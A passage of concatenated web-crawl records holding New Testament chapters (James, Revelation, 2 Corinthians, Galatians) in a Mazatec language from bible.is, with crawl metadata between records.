xki̱ xi ján tjín, mé‑ne nga indaàjiìn chjoé‑nò jñà 'én ndaà‑la̱ Nainá xi jye kina'yà, jñà 'én koi xi ko̱ma ko̱chrjekàjiìn‑nò kjo̱'in. 22Ti̱kitasòn koni tsò 'én‑la̱ Nainá. Kì tà na'yà‑jèn. Tsà mìkiì si̱kitasòn, ti̱ yijo‑nò titsa̱chona̱cha̱n‑là. 23Ni̱ta̱ yá xi̱ta̱‑ne xi 'nchré 'én‑la̱ Nainá, tsà mìkiì si̱ìkitasòn, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi chi̱tsín tíkotsejèn‑ya. 24K'e̱ nga jye beè i̱sén‑la̱ kó kji, i̱kjoàn fì, ya̱á jchàajiìn‑la̱ kó kji i̱sén‑la̱. 25Ta̱nga jè xi nguì ndaà kotsejèn‑la̱ kjo̱tíxoma kixi̱ xi síkíjnandei̱í‑ná, nga koií 'én síkítsjeèn kjit'aà koni tsò kjo̱tíxoma, ko̱ mìkiì síjchàajiìn 'én xi 'nchré nga ndaà síkitasòn, xi̱ta̱ jè, ya̱á sakó‑la̱ kjoa̱ machikon‑t'in k'e̱ nga k'oa̱s'ín tís'ín. 26Tsà jngoò xi̱ta̱ xi tsò: \"Beèxkón‑ná Nainá\", koa̱ tsà mìkiì bíchjoà‑la̱ ni̱je̱n‑la̱ nga chja̱ ngats'iì 'én xi ch'o tsò, yijo‑la̱á tíkona̱cha̱n‑la̱; ni̱mé chjí‑la̱ nga tsò: \"Beèxkón‑ná Nainá.\" 27K'e̱ nga nguì kixi̱ kjoa̱ nga Nainá xi Na̱'èn‑ná yaxkoán, koni s'ín mejèn‑la̱, jé‑né nga si̱chját'aà‑lá xi i̱xti jcha̱n, ko̱ íchjín ka'àn xi jye k'en x'i̱n‑la̱, jñà xi kjo̱'in tjín‑la̱, ti̱koa̱ mì kì ki̱'nde‑lá yijo‑ná nga kjoa̱ ch'o jchi̱nìjñaá xi tjín i̱sò'nde.\nJacobo 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Jas\/1","date":"2013-12-04T23:03:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037829\/warc\/CC-MAIN-20131204131717-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":676,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ìjngo ìkja̱li̱ kíjtse‑isa ra tjín‑la̱ nga'ñó ra ya̱ tínchrabájen‑ni ya̱ ngajmi nga tjìkótjìjno síjnajin ifi; ya̱ sko̱, jngo 'ya̱ síjnasòn; jè i̱sén‑la̱, 'koa̱á 'ki koni jè tsá'bí, ko̱ jñà ndsa̱ko̱, 'koa̱á kjòn koni tsa ni'í ra i̱ncha kixi̱ nga i̱nchitì. 2Jngo xa̱jo̱n ra i̱tsé 'ki tsá'ya ra kjijna tsijen; ko̱ jè ndsa̱ko̱ kixi̱, ya̱á tsasíjnajin ya̱ a̱jin ndáchikon ko̱ jè ndsa̱ko̱ ngaskoán, ya̱á tsasíjna ya̱ a̱sòn nangi. 3Ko̱ 'ñó jchán kiìchja̱; 'koa̱á 'sín kitsò koni 'sín tsò jè xa 'kia̱ nga kjindáya. 'Kia̱ nga ijye kiìchja̱, itoó 'cho̱n ina'yá jta‑la̱. 4'Kia̱ nga ijye kí'nchrè jta̱‑la̱ 'cho̱n ra ito ina'yá‑la̱ nga kiìchja̱, tjín‑ni nga xa̱jo̱ón ki'tàa̱; tanga kí'nchrè jngo‑la̱ jta̱ ra ngajmi inchrabà‑ni ra kitsò‑na: ―Ta ji̱ katasijin‑li jñà 'én ra kàchja̱ jñà 'cho̱n ra ito ma‑nioo̱; kì tà chjàn xa̱jo̱n bi'tì. 5Jè ìkja̱li̱ ra kíjtsee̱ ra ya̱ síjnasòn ya̱ ndáchikon ko̱ ya̱ a̱sòn nangi, iskimítje̱én jè tsja kixi̱ ya̱ ján ngajmi, 6ko̱ 'koa̱á 'sín kitsjá kixi̱ 'én‑la̱ a̱'ta 'tse̱ Nainá ra tíjnakon skanda ta mé ni̱chjin‑nioo̱, jè ra tsikínda jè ngajmi ko̱ jè nangi ko̱ jè ndáchikon ko̱ nga'tsì tsajmì ra tjín ya̱ ngajmi, ya̱ a̱'ta nangi, ko̱ ya̱ ndáchikon; 'koa̱á 'sín kitsò: ―Mì ti̱ kì 'se̱‑isa‑ni ni̱chjin, nga mì ti̱ kì sko̱óña kjoa̱‑ni. 7Nga jè ni̱chjin 'kia̱ nga ki̱ì'tsia̱ jè ìkja̱li̱ ra ma‑ni ito nga si̱ìkjindáya jè chrjoo̱‑la̱, 'kia̱á ki̱tjasòn jè kjoa̱ ra tjí'ma‑la̱ Nainá koni 'sín ijye kitsò jñà xi̱ta̱ chi̱'nda‑la̱ ra kiìchja̱ ngajo‑la̱. 8Jè jta̱ ra a̱sa kí'nchrè‑la̱ nga 'sa̱ ítjòn ra ngajmi inchrabà‑ni, india kiìchja̱‑isa‑na nga kitsò‑na: ―'Tin, ko̱ chjíbí jè xa̱jo̱n i̱tsé ra kjijna tsijen ra kjiya tsja jè ìkja̱li̱ ra síjna kixi̱ ya̱ a̱sòn ndáchikon ko̱ ya̱ a̱sòn nangi. 9Kiì káse̱n'ta‑la̱ 'a̱n jè ìkja̱li̱ ko̱ a̱kjòn kíxin‑la̱: ―'Ti̱‑ná jè xa̱jo̱n i̱tsé ra tja'chí. Ko̱ jè ìkja̱li̱ kitsó‑na: ―Chjíbí ko̱ chji̱ni̱i; ya̱ a̱'a ndsa̱'bì, ixií ka̱ma‑li koni tsa tsjén; tanga ya̱ a̱ya i̱ndsi̱'bì, tsjayaá ko̱ma. 10Ískábé‑náa̱ jè xa̱jo̱n i̱tsé ra tsá'ya jè ìkja̱li̱; 'kia̱ nga ijye ískíne̱, ixi'á ki'sìn ya̱ ndsa̱'baa̱ koni tsa tsjén, tanga ya̱ a̱ya i̱ndsi̱'bà tsjayaá kjomà. 11'Kia̱á ki'mì-isa‑na: ―Machjeén‑ní nga india ki̱nákjoa̱ nga̱jo̱‑la̱ Nainá nga kó'sín ko̱ma'tin jñà xi̱ta̱ ra kjìn na̱xi̱ndá nchrabá‑ni ko̱ ra kjìn nangi chja̱‑ni ko̱ ra kjìn sko̱ya tjín‑ni 'én ra chja̱, ko̱ kó'sín ko̱ma'tin ra xi̱ta̱xá títjòn títsa̱jna.\nApocalipsis 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Rev\/10","date":"2013-12-13T09:37:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164923389\/warc\/CC-MAIN-20131204134843-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":373,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Xi jye komà i̱skan, ìjngoò àkja̱le̱ kìjtseè xi tínchrobájen‑ne ngajmiì, xi 'ñó tse nga'ñó tjín‑la̱. Jè kjoa̱ jeya‑la̱ xi 'ñó ote kji, kisìhiseèn‑sòn nangui. 2'Ñó kiìchja̱, kitsò: ―Jye kiskaàngui, jye kiskaàngui na̱xa̱ndá je Babilonia. Jyeé ta i̱'nde‑la̱ ini̱ma̱ ch'o‑la̱ nei̱í komà, ya̱ ñánda kitseè yije ini̱ma̱ tjé xi ch'o kjoàn. Ko̱ ya̱ títsa̱jna ni̱se xi ch'o kjoàn xi mìkiì ma chine. 3Ngats'iì xi̱ta̱ i̱sò'nde, k'oa̱á ti kis'iìn koni s'ín xi̱ta̱ na̱xa̱ndá jè nga kj'ei̱í nainá kiìtji̱ngui‑la̱, k'oa̱á ngaya‑la̱ koni tsà kjòch'i̱‑ne jñà kjoa̱chijngui xi kis'iìn. Jñà xi̱ta̱xá ítjòn‑la̱ xi tjín nga tíjtsa i̱sò'nde, k'oa̱á ti kis'iìn. Ko̱ jñà xi̱ta̱ i̱sò'nde xi tsojmì otseya nga s'ín kjo̱hi̱ma̱, kjònchi̱ná‑né xi kjoa̱ ts'e̱ kjo̱tsja‑la̱ yijo‑la̱ koni s'ín jñà xi̱ta̱ xi tjín na̱xa̱ndá jè. 4Ìjngoò 'én ki'nchrè xi ngajmiì inchrobà‑ne, xi kitsò: ―Jñò xi na̱xa̱ndá ts'a̱n xan‑nò, tìtjokàjñoò na̱xa̱ndá jè, mé‑ne nga mì ya̱ ko̱ko̱t'aà‑nò jé‑la̱, ti̱koa̱ mìkiì ko̱ko̱t'aà‑nò kjo̱'in xi s'e̱‑la̱. 5Jñà jé‑la̱, jyeé tímakjìn, jyeé j'iì skanda i̱ ngajmiì. Nainá, mìkiì si̱ìjchàajiìn [nga tsjá‑la̱ kjo̱'in] xi kjoa̱ ts'e̱ jé‑la̱. 6K'oa̱á ti̱s'ín kàtamat'in ngajo‑ne koni s'ín kis'iìn jè. Jò k'a k'oa̱ ti̱s'ín kàtamat'in ngajo‑ne koni tjín kjoa̱ xi kis'iìn. Jè chi̱tsín xi kisìkáyajiìn vino, ko̱kji ti̱kájiìn ngajo‑là nga jò k'a ìsa̱ jchá kàtama, [jò k'a o̱kji kjo̱'in kàtako̱‑la̱]. 7Jè kjoa̱‑la̱ nga jeya kisìkíjna yijo‑la̱ ko̱ nga 'ñó kis'e‑la̱ kjo̱tsja, k'oa̱ ti̱s'ín tjiì ngajo‑là kjo̱'in nga kàtakjindáya. Nga k'oa̱á tsò ini̱ma̱‑la̱: \"'A̱n, k'oa̱á s'ín tìjna̱ nga chjo̱ón sko̱‑la̱ 'mì‑na. 'A̱n mìtsà chjo̱ón ka'àn 'mì‑na, ti̱koa̱á mìkiì siìkjiaán kjo̱'in ni̱ta̱ kjé‑ne.\" 8Koií kjoa̱‑la̱ nga ta̱jngoò na̱chrjein ki̱tjojenè‑la̱ kjo̱'in: Ki̱yá xi̱ta̱‑la̱. Ti̱koa̱á ski̱ndàya‑né. S'e̱é‑la̱ kjoa̱ ts'e̱ kjinchrá. Ni'ín ki̱ti̱‑ne nga kjoe̱hesòn. Nga 'ñó tse nga'ñó tjín‑la̱ jè Nainá xi otíxoma nga k'oa̱á s'ín jye kiskoòsòn‑la̱ nga tsjá‑la̱ kjo̱'in. 9Jñà xi̱ta̱xá ítjòn‑la̱ i̱sò'nde 'ñó ski̱ndáyakeè ko̱ 'ñó 'on ko̱ma‑la̱ k'e̱ nga skoe̱ nga tíbitjo ni̱'ndi̱‑la̱ nga títì jè na̱xa̱ndá jè ya̱ ñánda kiìtji̱ngui‑la̱ xi kj'ei̱í nainá k'oa̱á ngaya‑la̱ koni tsà jngoó chjo̱ón chijngui kiìtji̱ngui‑la̱ nga kisìtsjako̱ yijo‑la̱. 10Kjiín ki̱ncha‑ne nga skótsejèn‑la̱, nga tsakjón‑la̱ kjo̱'in‑la̱. 'Ñó ki̱chja̱, ki̱tso̱: ―I̱ma̱ xó‑ne, i̱ma̱ xó‑ne na̱xa̱ndá je Babilonia xi 'ñó kis'e‑la̱ nga'ñó; ta̱jngoò tjò kòf'iì‑la̱ kjo̱'in. 11Jñà xi̱ta̱ xi otíjnaya tsojmì xi tjín i̱sò'nde, ti̱koa̱á ski̱ndáyakeè‑né nga 'on ko̱ma‑la̱ ini̱ma̱‑la̱ nga mì ti̱ yá xi ko̱tse‑ne tsojmì xi otíjnaya, 12tsojmì xi ts'e̱ to̱n oro, plata, nda̱jo̱ chjí xi 'ñó ndaà kjoàn, ndáto̱n chjí xi 'ñó ndaà kjoàn; nikje lino xi 'ñó chjí, ko̱ nikje seda, nikje sko ko̱ xi inì kjoàn; ngats'iì yá xi 'ñó ndaà jne̱, tsojmì chjí xi nindaà ni̱'ño̱ cho̱ kisindaà‑ne, ngats'iì tsojmì xi yá xi 'ñó chjí xi yá ikon, ko̱ ki̱cha̱ bronce, ko̱ ki̱cha̱ xi 'mì hierro, ko̱ nda̱jo̱ marmol, 13ko̱ chrjoa̱yá canela, ngats'iì tsojmì xi ndaà jne̱, chrjongó‑la̱ Nainá, ko̱ xkiì jne̱ xi 'mì mirra, ko̱ chrjongó ts'e̱ yá olivo, ko̱ vino ko̱ asìti̱. Trigo ko̱ skoa̱n i̱nchra̱jín, ko̱ cho̱ ch'á, orrè, kohòyo̱, carreta, ko̱ xi̱ta̱ chi̱'nda nga kisatíjna. 14Ki̱tso̱‑la̱ jè na̱xa̱ndá: ―Ngats'iì kjoa̱ xi ndaà kisaseèn‑la̱ ini̱ma̱‑lè, jyeé kitjaàxìn yije‑lè. Kjoa̱ nchi̱ná‑lè jyeé kichijà. Ko̱ kjoa̱ xi ndaà kòtsjachi, mì ti kiì sa̱kò‑lè ni̱ta̱ kjé‑ne. 15Jñà xi̱ta̱ xi otíjnaya tsojmì xi ya̱ kjònchi̱ná ts'e̱ na̱xa̱ndá jè, kjiín ki̱nchat'aàxìn nga tsakjón‑la̱ kjo̱'in. Ski̱ndáyakeè koa̱ 'ñó 'on ko̱ma‑la̱ ini̱ma̱‑la̱. 16K'oa̱á ki̱tso̱: ―I̱ma̱ xó‑ne na̱xa̱ndá xi 'ñó je kji, xi nikje lino chjí tsakakjá ko̱ nikje xi sko kjoàn ko̱ xi inì kjoàn. Yijàjno yijo‑la̱ oro, ndáto̱n chjí xi 'mì perla ko̱ nda̱jo̱ chjí xi 'ñó ndaà kjoàn. 17Ta̱jngoò tjò kachija yije kjoa̱ nchi̱ná xi tjín‑la̱. Ngats'iì xi̱ta̱ xi síxáko̱ chitso, ko̱ ngats'iì xi̱ta̱ xi ya̱ chitso títsa̱ya nga nchifì, jñà xi ya̱ i̱ya chitso síxá ko̱ ngats'iì xi síxájiìn ndáchikon, kjiín tsibìtsa̱jna 18k'e̱ nga kijtseè ni̱'ndi̱‑la̱ na̱xa̱ndá nga títì; 'ñó kiìchja̱, kitsò: ―Ni̱ sa̱á jngoò na̱xa̱ndá tjín xi mangásòn‑kjoò koni kji na̱xa̱ndá jè, nga 'ñó ndaà kiyaxkon‑la̱. 19I̱kjoàn tsibíxteèn‑jno chijo sko̱, 'ñó kiskindàyakeè nga 'on komà‑la̱ ini̱ma̱‑la̱; kitsò: ―I̱ma̱ xó‑ne na̱xa̱ndá xi 'ñó je kji; jè kjoa̱ nchi̱ná‑la̱, ndaà kjònchi̱ná‑ne jñà xi̱ta̱ xi tjín‑la̱ chitso ya̱ i̱jiìn ndáchikon. Ko̱ i̱'ndei̱, ta jngoó tjò kachija yije kjoa̱ nchi̱ná‑la̱. 20Ngats'ioò jñò xi titsa̱jnaà ngajmiì, tsjaá t'è‑là takòn. Jñò xi xi̱ta̱‑la̱ Nainá maà, jñò xi tsibíxáya‑nò Cristo, ko̱ jñò xi Nainá nokjoà ngajo‑là, tsja t'è‑là ini̱ma̱‑nò. Nainá jyeé kàtsjá‑la̱ kjo̱'in na̱xa̱ndá jè koií kjoa̱‑la̱ nga ch'o kisìko̱‑nò. 21Jngoò àkja̱le̱ xi 'ñó tse nga'ñó tjín‑la̱ kiskoé jngoò nda̱jo̱ xi koni kji nda̱jo̱ natsí kji, kisìkatje̱n‑jiìn ndáchikon, kitsò: ―Jè na̱xa̱ndá Babilonia, xi 'ñó je kji, k'oa̱á s'ín ska̱jiìn‑ndá; jngoó k'aá chi̱ja ni̱ta̱ kjé‑ne, mì ti̱ yá xi skoe̱xkon‑ne. 22Mì ti̱ kiì ki̱ná'ya‑la̱ i̱nchò calle‑la̱ jñà música xi síkjane arpa, jñà xi síkjindáya xo̱bí, ko̱ xi síkjane chrjo trompeta. Mì ti̱ kiì s'e̱‑la̱ xi̱ta̱ xi síxá ni̱ta̱ mé xá‑ne. Ti̱koa̱ mì ti̱ kiì ko̱xáko̱‑ne molino ts'e̱ ncheé. 23Ni'ín ts'e̱ lámpara, mì ti̱ kiì si̱ìhiseèn‑ne; mì ti̱ kiì s'e̱‑ne s'eí nga ki̱xan xi̱ta̱; koií kjoa̱‑la̱ ko̱s'ín ko̱mat'in‑ne nga jñà xi̱ta̱‑la̱ xi otseya ko̱ otíjnaya tsojmì, 'ñó xi̱ta̱ nchi̱ná komà i̱ i̱sò'nde; ti̱koa̱ kiskoòna̱cha̱n yije‑la̱ na̱xa̱ndá xi tjín i̱sò'nde nga komà‑la̱ kis'iìn kjoa̱tj'e. 24Na̱xa̱ndá jè, Nainá kitsjaà‑la̱ kjo̱'in nga jé ts'e̱‑né nga kinìk'en xi̱ta̱‑la̱ Nainá ko̱ xi̱ta̱ xi kiìchja̱ya̱ nga̱jo̱‑la̱ Nainá ko̱ ngats'iì xi̱ta̱ xi kinìk'en nga tíjtsa i̱sò'nde.\nApocalipsis 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/18","date":"2013-12-06T05:27:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049608\/warc\/CC-MAIN-20131204131729-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000048875808716}","num_words":846,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.285,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè xi ma‑ne jàn k'a nga kjíkon‑nò. K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"K'e̱ nga tsà jngoò xi̱ta̱ mejèn‑la̱ ki̱ìndaàjiìn jngoò kjoa̱, jò ko̱ tsà jàn xi̱ta̱ ko̱chjeén xi ko̱ma tsjá 'én nga xko̱n kijtseè‑ne kjoa̱ xi komà mé‑ne nga jcha̱‑la̱, a kixi̱í kjoa̱, o xi majìn‑né.\" 2K'oa̱á s'ín jye kixan kixi̱‑nò k'e̱ nga ijchòkon‑nò xi ma‑ne jò k'a, ko̱ i̱'ndei̱ na̱s'ín kjiìn tìjna̱a, k'oa̱á ti̱ xan ìjngoò k'a‑nò nga jñà xi jé tsohótsji nga sa̱ ítjòn ko̱ xi nchihótsji jé skanda i̱'ndei̱, mìkiì ko̱jno‑la̱ nga tsjaà‑la̱ kjo̱'iín nga jngoò ìjngoò. 3'A̱n, k'oa̱á s'iaàn mé‑nè nga jcha̱‑nò, a kixi̱í kjoa̱ nga 'a̱n síkjeén‑na Cristo nga chjàjiìn‑nò 'én‑la̱. Mìtsà indaàkjoa̱ Cristo; tjín‑la̱ nga'ñó k'e̱ nga síxájiìn ini̱ma̱‑nò. 4Kixi̱í kjoa̱ jè Cristo, k'oa̱á s'ín k'en‑t'aà krò koni jngoò xi̱ta̱ xi tsjìn‑la̱ nga'ñó. Ta̱nga i̱'ndei̱, nga'ñó ts'e̱ Nainá tíjnakon‑ne. Ngaje̱n, k'oa̱á ti̱s'ín indaàkjoa̱ titsa̱jna‑je̱n koni s'ín komàt'in Cristo, ta̱nga nga'ñó ts'e̱ Nainá ki̱tsa̱jnakon‑naje̱n koni Cristo mé‑ne nga ko̱ma si̱xá‑nòje̱n. 5Jñò, chít'aà ini̱ma̱‑nò, tsà kixi̱í kjoa̱ nga ndaà mokjeiín‑nò i̱t'aà ts'e̱ Nainá. Ndaà chít'aà ini̱ma̱‑nò xi ti̱jñò‑nò. ¿A mìtsà tíjiìn‑nò nga Cristo tíjnajiìn ini̱ma̱‑nò? Ta̱ jngoò‑la tsà mìkiì tsatojioòn koni s'ín kichìt'aà‑nò. 6Ta̱nga 'a̱n, majngoò takoàn nga jcha̱á i̱t'aà tsa̱je̱n, ngaje̱n tsatojiìn yije‑náje̱n koni s'ín kichìt'aà‑naje̱n. 7Koií kjoa̱‑la̱ bítsi'ba‑la̱je̱n Nainá nga ni̱mé jé ki̱nchátsjioò. Ta̱nga mìtsà koi‑ne nga jcha̱‑naje̱n nga ndaà bitjo‑je̱n k'e̱ nga chìt'aà‑naje̱n. Jè‑né nga si̱kitasòn jñò kjoa̱ xi ndaà tjín, na̱s'ín k'oa̱s'ín kàta'ya‑la̱ i̱t'aà tsa̱je̱n koni tsà mìkiì chíkjoa̱‑naje̱n kjoa̱ xi otojiìn‑je̱n. 8Mìkiì ko̱ma kondra̱ ki̱tsa̱jna‑la̱je̱n xi̱ta̱ xi síkitasòn kjoa̱kixi̱‑la̱ Nainá. Ta̱ sa̱á k'oi̱‑la̱je̱n nga'ñó. 9Matsja‑naje̱n k'e̱ nga jñò tjín‑nò nga'ñó, na̱s'ín ngaje̱n ma indaàjiìn‑je̱n. K'oa̱á ma‑ne nga bìtsi'bà‑la̱je̱n Nainá, mé‑ne jñò ni̱mé kjo̱hítsjeèn chijat'aà‑nò. 10Tìkjiì‑nò xo̱jo̱n jè k'e̱ nga tákó kjiìn tìjna̱a‑ìsa, mé‑ne k'e̱ nga kìjchokon‑nò mì ti̱ k'oa̱á s'ín 'ñó kichjàko̱‑nò koni s'ín tjín kjo̱tíxoma xi kitsjaà‑na Nainá. Nga Nainá mìtsà koi xá kitsjaà‑na kjo̱tíxoma nga 'a̱n síkits'ón‑jiìn‑nò, jè‑né nga ìsa̱ kixi̱ ki̱tsa̱jnako̱o 'én xi mokjeiín‑nò. 11Ndí 'ndsè ko̱ tichjaá, jè xi fehet'aà‑ne, tsja t'è‑là ini̱ma̱‑nò; kixi̱ ti̱tsa̱jna; ti̱jetakòn xinguio̱o; tà jngoò kjo̱hítsjeèn kàtas'e‑nò, 'nchán ti̱tsa̱jnako̱o xinguio̱o. Nainá xi tjín‑la̱ kjoa̱ 'nchán ko̱ xi tjín‑la̱ kjoa̱tjòcha kàtìjnako̱‑nò. 12Nga nguì ko̱ó ini̱ma̱‑nò ti̱ixat'aà xinguio̱o nga jngoò ìjngoò. 13Ngats'iì xi̱ta̱‑la̱ Nainá xi i̱ títsa̱jnako̱‑na síhixat'aà‑nò. 14Jè kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná, ko̱ kjoa̱tjòcha‑la̱ Nainá, ko̱ Ini̱ma̱ Tsjeè‑la̱ Nainá kàtìjnako̱‑nò ngats'ioò. K'oa̱á s'ín kàtama.\n2 Corintios 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/13","date":"2013-12-10T18:53:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164023632\/warc\/CC-MAIN-20131204133343-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":383,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.261,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¡Jñò xi nangui Galacia tsa̱jòn, mé ta tòndo̱‑nò! ¿Yá xi kiskoòna̱cha̱n‑nò? ¿A mì bítsjeèn‑nò koni s'ín nga nguì ndaà tsibèno̱jmíya‑nòje̱n nga jè Jesucristo ya̱á k'en‑t'aà krò xi kjo̱ndaà tsa̱jòn? 2Tà koií kjoa̱ kjònangui‑nò: ¿A koií kjoa̱‑la̱ nga kinìkitasòn kjo̱tíxoma nga kitjoé‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá, o xi koií‑né nga mokjeiín‑nò 'én‑la̱ Nainá koni s'ín kina'yà? 3Jñò, nga sa̱ ítjòn, tsibìts'ia̱ko̱‑nò kjo̱hítsjeèn‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; ko̱ i̱'ndei̱, mejèn‑nò nga tà kjo̱hítsjeèn‑la̱ xi̱ta̱ si̱kjehet'aà‑nò. ¡Mé ta tòndo̱‑nò! 4Jñò, tseé kjo̱'in tsatojioòn nga kòkjeiín‑nò 'én ndaà‑la̱ Nainá. ¿A tà kjo̱tjò‑ne nga tse kjo̱'in tsatojioòn? Majìn, mì‑la kiì ndaà tjín. 5K'e̱ nga Nainá kitsjaà‑nò Ini̱ma̱ Tsjeè‑la̱ ko̱ kis'iìn kjo̱xkón xi ndaà tjín i̱jiìn na̱xa̱ndá tsa̱jòn, ¿mé‑ne k'oa̱s'ín kis'iìn‑ne? ¿A koi‑né nga ndaà kinìkitasòn kjo̱tíxoma? Majìn, koií‑né nga kòkjeiín‑nò 'én ndaà‑la̱ Nainá. 6Koni jè xi̱ta̱ jchínga‑ná xi ki'mì Abraham kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá; k'oa̱á komà‑ne nga xi̱ta̱ kixi̱ kitsò‑la̱ Nainá. 7Jñò, k'oa̱á s'ín ndaà kàtasijiìn‑nò: Jñà xi mokjeiín‑la̱, jñà‑né xi tje̱‑la̱ Abraham. 8Nga ti̱sa̱ kjòtseé, jyeé k'oa̱s'ín kitsjaà 'én Nainá koni s'ín tíchja̱ Xo̱jo̱n‑la̱ nga síkixi̱‑né jñà xi mìtsà xi̱ta̱ judío k'e̱ nga mokjeiín‑la̱ i̱t'aà ts'e̱. Ya̱á tíchja̱ ñánda jè Nainá tje̱n kitsjaà ítjòn‑la̱ Abraham jñà 'én ndaà‑la̱ xi tsò: \"Ngats'iì na̱xa̱ndá xi tjín i̱sò'nde, i̱t'aà tsi̱jií ko̱chikon‑t'in.\" 9K'oa̱á ma‑ne nga ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Nainá ngásòn ko̱chikon‑t'in ko̱ Abraham nga jè Abraham kòkjeiín‑la̱ i̱t'aà ts'e̱ Nainá. 10Ngats'iì xi̱ta̱ xi jè ma'ñót'aà takòn koni s'ín nchisíkitasòn kjo̱tíxoma, kjo̱'iín tjínè‑la̱, nga mìtsà kixi̱ kjoa̱ nga ndaà síkitasòn ngats'iì kjoa̱ xi ya̱ tjít'aà. Nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Kàtasinè‑la̱ kjo̱'in jè xi mì kixi̱ síkitasòn ngats'iì kjoa̱ xi tjít'aà jè xo̱jo̱n ts'e̱ kjo̱tíxoma.\" 11O̱kixi̱‑né nga ni̱jngoò xi̱ta̱ xi kixi̱ kíjna nga nguixko̱n Nainá nga kjo̱tíxoma síkitasòn. Nga̱ jè 'én‑la̱ Nainá tsò‑né: \"Jè xi xi̱ta̱ kixi̱, jè kjoa̱ xi mokjeiín‑la̱ kíjnakon‑ne.\" 12Jñà xi̱ta̱ xi kjo̱tíxoma síkitasòn mìtsà Nainá ma'ñót'aà ikon. Nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá, nga tsò: \"Xi̱ta̱ xi kjo̱tíxoma síkitasòn, k'oa̱á s'ín tjínè‑la̱ nga k'oa̱s'ín si̱ìjchá yijo‑la̱ koni tsò kjo̱tíxoma.\" 13Jè Cristo tsibíchjítjì‑ná kjo̱'in xi ya̱ titsa̱jnajñaá nga kjo̱tíxoma titsa̱nìkitasoán nga jè kisìkjeiín kjo̱'in xi jé tsa̱ján; nga k'oa̱á s'ín tíchja̱ xo̱jo̱n nga tsò: \"Kjo̱'iín si̱nè‑la̱ ngats'iì xi krò sit'aà.\" 14Jè Cristo, koií o̱kis'iìn‑ne mé‑ne nga jñà kjoa̱ machikon‑t'in xi kitjoé‑la̱ Abraham ti̱koa̱ tjoé yije‑la̱ ngats'iì na̱xa̱ndá xi tjín i̱sò'nde nga jñà kjoa̱ machikon‑t'in, ya̱á nchrobá‑ne i̱t'aà ts'e̱ Cristo mé‑ne nga i̱t'aà ts'e̱ kjoa̱ xi mokjeiín‑ná, tjoé‑ná Ini̱ma̱ Tsjeè‑la̱ Nainá xi jye k'oa̱s'ín kitsjaà tso'ba Nainá nga tsjá‑ná. 15Jñò 'ndsè ko̱ tichjaá, kèno̱jmí jngoò‑nò kjo̱tíxoma xi ts'e̱ i̱sò'nde. K'e̱ nga sindaàjiìn jngoò kjoa̱ nga xo̱jo̱n tjámiì'nga, nga jye ma firma ko̱ sasén‑la̱ sello, mì ti̱ kiì ko̱ma ki̱ts'ón‑ya‑ne koni s'ín sindaàjiìn, ti̱koa̱á mì ti̱ kiì ko̱ma si̱ìt'aàsòn‑ìsa‑la̱ 'én xi kj'ei̱í tsò koni s'ín jye kasindaàjiìn. 16K'oa̱á s'ín kitsjaà‑la̱ tso'ba Nainá jè Abraham ko̱ jè xi̱ta̱ tje̱‑la̱. Jè Xo̱jo̱n‑la̱ Nainá mìtsà tsò \"jñà xi̱ta̱ tje̱‑la̱\", ta tsò‑né: \"jè tje̱‑lè.\" Nga mìtsà kjín ma tje̱‑la̱ Abraham xi kitjoé‑la̱ koni tsò 'én xi kitsjaà‑la̱ Nainá, ta jngoó ma‑ne. Nga jè tíhoxki̱t'aà Cristo. 17Jè kjoa̱ xi tìbeno̱jmiá, kiís'ín tjín: Nainá ko̱ Abraham tsibíndaàjiìn jngoò kjoa̱, i̱kjoàn kisìkixi̱ya [koni ma k'e̱ nga jye ma firma]. K'e̱ nga jye tsato ñijòn 